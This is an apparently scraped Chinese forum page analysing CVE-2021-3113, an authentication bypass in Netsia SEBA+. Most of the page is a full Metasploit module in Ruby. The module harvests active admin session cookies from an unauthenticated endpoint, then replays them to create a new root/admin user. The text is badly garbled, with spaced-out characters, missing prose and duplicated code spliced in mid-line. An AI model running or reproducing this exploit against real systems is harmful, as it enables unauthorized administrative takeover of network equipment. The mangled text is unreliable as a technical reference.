[16446] 2021-02-16_CVE-2021-3113:Netsia-SEBA认证绕过漏洞分析

文档创建者:s7ckTeam
浏览次数:11
最后更新:2025-01-18
2021-02-16_CVE-2021-3113:Netsia-SEBA认证绕过漏洞分析 C V E - 2 0 2 1 - 3 1 1 3 N e t s i a - S E B A A l p h a _ h 4 c k   F r e e B u f   2 0 2 1 - 0 2 - 1 6 E x p l o i t - D B C V E - M i t r e n e t s i a _ s e b a _ a d d _ u s e r . r b   ( M e t a s p l o i t ) 访 A c t i v e   S e s s i o n s H T T P r o o t / a d m i n 访 c o o k i e c o o k i e A c t i v e   S e s s i o n s G E T   / s e s s i o n / l i s t / a l l A c t i v e S e s s i o n c o o k i e c o o k i e P O S T   / a u t h e n t i c a t i o n   s e r v e r / u s e r / a d d r o o t c o o k i e c o o k i e
H T T P 使 M S F A u x i l i a r y A u x i l i a r y M e t a s p l o i t s h o w   a u x i l i a r y M S F A u x i l i a r y M S F A u x i l i a r y P a y l o a d M s f : : E x p l o i t : : R e m o t e 使 R e x : : T e x t . r a n d _ t e x t _ a l p h a n u m e r i c ( ) 便 / s e s s i o n / l i s t / a l l A c t i v e S e s s i o n s e s s i o n I d s e s s i o n I d S U C C E S S c l a s s   M e t a s p l o i t M o d u l e   <   M s f : : A u x i l i a r y r e g i s t e r _ o p t i o n s (             [                 O p t : : R P O R T ( 4 4 3 ) ,                 O p t S t r i n g . n e w ( ' U S E R N A M E ' ,   [ t r u e ,   ' T h e   u s e r n a m e   f o r   y o u r   n e w   a c c o u n t ' ] ) ,                 O p t S t r i n g . n e w ( ' P A S S W O R D ' ,   [ t r u e ,   ' T h e   p a s s w o r d   f o r   y o u r   n e w   a c c o u n t ' ,   R e x : : T e x t . r a n d _ t e x t _ a l p h a n u m e r i c ( 1 4 ) ] )             ] ) d e f   c h e c k         b e g i n         r e s   =   s e n d _ r e q u e s t _ c g i (                     ' m e t h o d '     = >   ' G E T ' ,                     ' u r i '   = >   n o r m a l i z e _ u r i ( t a r g e t _ u r i . p a t h ,   " s e s s i o n " ,   " l i s t " ,   " a l l A c t i v e S e s s i o n " ) ,                     )         r e s c u e             r e t u r n   E x p l o i t : : C h e c k C o d e : : U n k n o w n         e n d         i f   r e s . c o d e   = =   2 0 0   a n d   r e s . b o d y . i n c l u d e ?   ' s e s s i o n I d '                   r e t u r n   E x p l o i t : : C h e c k C o d e : : V u l n e r a b l e         e l s e               i f   r e s . c o d e   = =   2 0 0   a n d   r e s . b o d y . i n c l u d e ?   ' S U C C E S S '                   p r i n t _ s t a t u s ( " T a r g e t   i s   v u l n e r a b l e !   B u t   a c t i v e   a d m i n   s e s s i o n   w a s   n o t   f o u n d .   T r y   a g a i n   l a t e r . " )                   r e t u r n   E x p l o i t : : C h e c k C o d e : : A p p e a r s
A u x i l i a r y N e t s i a   S E B A + 使 H T T P s e s s i o n I d s e s s i o n I d s e s s i o n I d s e s s i o n I d s e s s i o n I d a c t i o n s e s s i o n I d 使 s c a n   ( ) ( [ S s ] * ? ) c o o k i e s [ 0 ] s e s s i o n I d c o o k i e s [ 1 ] s e s s i o n I d + 1 c o o k i e c o o k i e 使 w h i l e 7 c o o k i e s [ i n t ] + 1                   r e t u r n   E x p l o i t : : C h e c k C o d e : : A p p e a r s               e n d         e n d         r e t u r n   E x p l o i t : : C h e c k C o d e : : S a f e     E n d u n l e s s   E x p l o i t : : C h e c k C o d e : : V u l n e r a b l e   = =   c h e c k             f a i l _ w i t h ( F a i l u r e : : N o t V u l n e r a b l e ,   ' T a r g e t   i s   n o t   v u l n e r a b l e . ' ) E n d d e f   c o u n t _ u s e r ( d a t a ,   f i n d _ s t r i n g )         d a t a . s c a n ( / ( ? = # { f i n d _ s t r i n g } ) / ) . c o u n t     E n d r e s   =   s e n d _ r e q u e s t _ c g i (                     ' m e t h o d '     = >   ' G E T ' ,                     ' u r i '   = >   n o r m a l i z e _ u r i ( t a r g e t _ u r i . p a t h ,   " s e s s i o n " ,   " l i s t " ,   " a l l A c t i v e S e s s i o n " ) ,                     )         s e s c o u n t   =   c o u n t _ u s e r ( r e s . b o d y , ' " n a m e " ' ) p r i n t _ g o o d ( " C u r r e n t l y   # { s e s c o u n t }   a c t i v e   s e s s i o n s   h a v e   b e e n   d e t e c t e d . " ) c o o k i e s   =   r e s . b o d y . s c a n ( / s e s s i o n I d " : " ( [ S s ] * ? ) " , " a c t i o n / ) w h i l e   $ i   < =   s e s c o u n t     d o               s e s s l o o p   =   c o o k i e s [ $ i ]               s e s s i d   =   " S E S S I O N = "   +   s e s s l o o p . t o _ s               c o o k i e   =   s e s s i d . s p l i t ( ' " ] ' ) . j o i n ( ' ' ) . s p l i t ( ' [ " ' ) . j o i n ( ' ' )               $ i   + = 1               j s o n _ d a t a = [ . . . . . . . . ]               r e s   =   s e n d _ r e q u e s t _ r a w ( {                                 ' m e t h o d '   = >   ' P O S T ' ,                               ' c t y p e '     = >   ' a p p l i c a t i o n / j s o n ' ,                                 ' u r i '   = >   n o r m a l i z e _ u r i ( t a r g e t _ u r i . p a t h ,   ' a u t h e n t i c a t i o n - s e r v e r ' ,   ' u s e r ' ,   ' a d d ' ) ,                                                                   ' c o o k i e '   = >   c o o k i e ,                                                                   ' d a t a '   = >   j s o n _ d a t a                               } )           E n d
A u x i l i a r y i f   r e s . c o d e   = =   2 0 0   a n d   r e s . b o d y . i n c l u d e ?   ' " S U C C E S S " '                         p r i n t _ g o o d ( " E x c e l l e n t !   U s e r   # { d a t a s t o r e [ " U S E R N A M E " ] }   w a s   a d d e d   s u c c e s s f u l l y   w i t h   r o o t ,   a d m i n   a n d   d e f a u l t   p r i v i l e g e s . " )                   p r i n t _ g o o d ( " U s e r n a m e   :   # { d a t a s t o r e [ " U S E R N A M E " ] } " )                   p r i n t _ g o o d ( " P a s s w o r d   :   # { d a t a s t o r e [ " P A S S W O R D " ] } " )                   b r e a k               E n d # # #   T h i s   m o d u l e   r e q u i r e s   M e t a s p l o i t :   h t t p s : / / m e t a s p l o i t . c o m / d o w n l o a d #   C u r r e n t   s o u r c e :   h t t p s : / / g i t h u b . c o m / r a p i d 7 / m e t a s p l o i t - f r a m e w o r k # # c l a s s   M e t a s p l o i t M o d u l e   <   M s f : : A u x i l i a r y     i n c l u d e   M s f : : E x p l o i t : : R e m o t e : : H t t p C l i e n t     d e f   i n i t i a l i z e ( i n f o   =   { } )         s u p e r ( u p d a t e _ i n f o ( i n f o ,             ' N a m e '                       = >   ' N e t s i a   S E B A +   < =   0 . 1 6 . 1   A u t h e n t i c a t i o n   B y p a s s   a n d   A d d   R o o t   U s e r '   ,             ' D e s c r i p t i o n '         = >   % q {                 T h i s   m o d u l e   e x p l o i t s   a n   a u t h e n t i c a t i o n   b y p a s s   i n   N e t s i a   S E B A + ,   t r i g g e r e d   b y   a d d   n e w   r o o t / a d m i n   u s e r .                 H T T P   r e q u e s t s   m a d e   t o   t h e   " A c t i v e   S e s s i o n s "   s e c t i o n   w h i c h   c a n   b e   a c c e s s e d   b y   r o o t / a d m i n   u s e r ,                 c a n   b e   p e r f o r m e d   w i t h o u t   t h e   n e e d   f o r   a n y   s e s s i o n ( c o o k i e )   i n f o r m a t i o n .                 T h e r e f o r e ,   t h e   s e s s i o n   c o o k i e   i n f o r m a t i o n s   o f   t h e   a c t i v e   u s e r s   i n   t h e   a p p l i c a t i o n   c a n   b e   r e a d   f r o m   t h e   r e s p o n s e   c o n t e n t .                 A   n e w   a u t h o r i z e d   u s e r   c a n   b e   c r e a t e d   w i t h   t h e   o b t a i n e d   c o o k i e .             } ,             ' R e f e r e n c e s '           = >                 [                     [   ' C V E ' ,   ' '   ] ,                     [   ' U R L ' ,   ' h t t p s : / / w w w . p e n t e s t . c o m . t r / e x p l o i t s / N e t s i a - S E B A - 0 - 1 6 - 1 - A u t h e n t i c a t i o n - B y p a s s - A d d - R o o t - U s e r - M e t a s p l o i t . h t m l '   ] ,                     [   ' U R L ' ,   ' h t t p s : / / w w w . n e t s i a . c o m '   ]                 ] ,             ' A u t h o r '                   = >                 [                     ' Ö z k a n   M u s t a f a   A K K U Ş   '   #   D i s c o v e r y   &   P o C   &   M S F   M o d u l e   @ e h a k k u s                 ] ,             ' L i c e n s e '                 = >   M S F _ L I C E N S E ,             ' D i s c l o s u r e D a t e '   = >   " 2 0 2 1 - 0 1 - 0 6 " ,             ' D e f a u l t O p t i o n s '   = >   {   ' S S L '   = >   t r u e   }         ) )         r e g i s t e r _ o p t i o n s (             [
                O p t : : R P O R T ( 4 4 3 ) ,                 O p t S t r i n g . n e w ( ' U S E R N A M E ' ,   [ t r u e ,   ' T h e   u s e r n a m e   f o r   y o u r   n e w   a c c o u n t ' ] ) ,                 O p t S t r i n g . n e w ( ' P A S S W O R D ' ,   [ t r u e ,   ' T h e   p a s s w o r d   f o r   y o u r   n e w   a c c o u n t ' ,   R e x : : T e x t . r a n d _ t e x t _ a l p h a n u m e r i c ( 1 4 ) ] )             ] )     e n d     d e f   p e e r         " # { s s l   ?   ' h t t p s : / / '   :   ' h t t p : / / '   } # { r h o s t } : # { r p o r t } "     e n d     d e f   c h e c k         b e g i n         r e s   =   s e n d _ r e q u e s t _ c g i (                     ' m e t h o d '     = >   ' G E T ' ,                     ' u r i '   = >   n o r m a l i z e _ u r i ( t a r g e t _ u r i . p a t h ,   " s e s s i o n " ,   " l i s t " ,   " a l l A c t i v e S e s s i o n " ) ,                     )         r e s c u e             r e t u r n   E x p l o i t : : C h e c k C o d e : : U n k n o w n         e n d         i f   r e s . c o d e   = =   2 0 0   a n d   r e s . b o d y . i n c l u d e ?   ' s e s s i o n I d '                   r e t u r n   E x p l o i t : : C h e c k C o d e : : V u l n e r a b l e         e l s e               i f   r e s . c o d e   = =   2 0 0   a n d   r e s . b o d y . i n c l u d e ?   ' S U C C E S S '                   p r i n t _ s t a t u s ( " T a r g e t   i s   v u l n e r a b l e !   B u t   a c t i v e   a d m i n   s e s s i o n   w a s   n o t   f o u n d .   T r y   a g a i n   l a t e r . " )                   r e t u r n   E x p l o i t : : C h e c k C o d e : : A p p e a r s               e n d         e n d         r e t u r n   E x p l o i t : : C h e c k C o d e : : S a f e     e n d     d e f   c o u n t _ u s e r ( d a t a ,   f i n d _ s t r i n g )         d a t a . s c a n ( / ( ? = # { f i n d _ s t r i n g } ) / ) . c o u n t     e n d     d e f   r u n         u n l e s s   E x p l o i t : : C h e c k C o d e : : V u l n e r a b l e   = =   c h e c k             f a i l _ w i t h ( F a i l u r e : : N o t V u l n e r a b l e ,   ' T a r g e t   i s   n o t   v u l n e r a b l e . ' )         e n d         r e s   =   s e n d _ r e q u e s t _ c g i (                     ' m e t h o d '     = >   ' G E T ' ,                     ' u r i '   = >   n o r m a l i z e _ u r i ( t a r g e t _ u r i . p a t h ,   " s e s s i o n " ,   " l i s t " ,   " a l l A c t i v e S e s s i o n " ) ,                     )         s e s c o u n t   =   c o u n t _ u s e r ( r e s . b o d y , ' " n a m e " ' )         p r i n t _ g o o d ( " C u r r e n t l y   # { s e s c o u n t }   a c t i v e   s e s s i o n s   h a v e   b e e n   d e t e c t e d . " )
使 A u x i l i a r y         c o o k i e s   =   r e s . b o d y . s c a n ( / s e s s i o n I d " : " ( [ S s ] * ? ) " , " a c t i o n / )         p u t s   c o o k i e s         $ i   =   0         w h i l e   $ i   < =   s e s c o u n t     d o               s e s s l o o p   =   c o o k i e s [ $ i ]               s e s s i d   =   " S E S S I O N = "   +   s e s s l o o p . t o _ s               c o o k i e   =   s e s s i d . s p l i t ( ' " ] ' ) . j o i n ( ' ' ) . s p l i t ( ' [ " ' ) . j o i n ( ' ' )               $ i   + = 1               j s o n _ d a t a = ' { " d a t a " :   { " p a s s w o r d " :   " '   +   d a t a s t o r e [ " P A S S W O R D " ]   +   ' " ,   " r o l e s " :   [ { " l o c a t i o n s " :   [ ] ,   " n a m e " :   " a d m i n " ,   " p e r m L i s t " :   [ { " d a t a " :   [ " / a l a r m - m a n a g e r / a l a r m / d e f i n i t i o n / l i s t "               r e s   =   s e n d _ r e q u e s t _ r a w ( {                                 ' m e t h o d '   = >   ' P O S T ' ,                               ' c t y p e '     = >   ' a p p l i c a t i o n / j s o n ' ,                                 ' u r i '   = >   n o r m a l i z e _ u r i ( t a r g e t _ u r i . p a t h ,   ' a u t h e n t i c a t i o n - s e r v e r ' ,   ' u s e r ' ,   ' a d d ' ) ,                                                                   ' c o o k i e '   = >   c o o k i e ,                                                                   ' d a t a '   = >   j s o n _ d a t a                               } )               i f   r e s . c o d e   = =   2 0 0   a n d   r e s . b o d y . i n c l u d e ?   ' " S U C C E S S " '                         p r i n t _ g o o d ( " E x c e l l e n t !   U s e r   # { d a t a s t o r e [ " U S E R N A M E " ] }   w a s   a d d e d   s u c c e s s f u l l y   w i t h   r o o t ,   a d m i n   a n d   d e f a u l t   p r i v i l e g e s . " )                   p r i n t _ g o o d ( " U s e r n a m e   :   # { d a t a s t o r e [ " U S E R N A M E " ] } " )                   p r i n t _ g o o d ( " P a s s w o r d   :   # { d a t a s t o r e [ " P A S S W O R D " ] } " )                   b r e a k               e n d           e n d     e n d e n d
N e t s i a c o o k i e 使 c o o k i e s
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则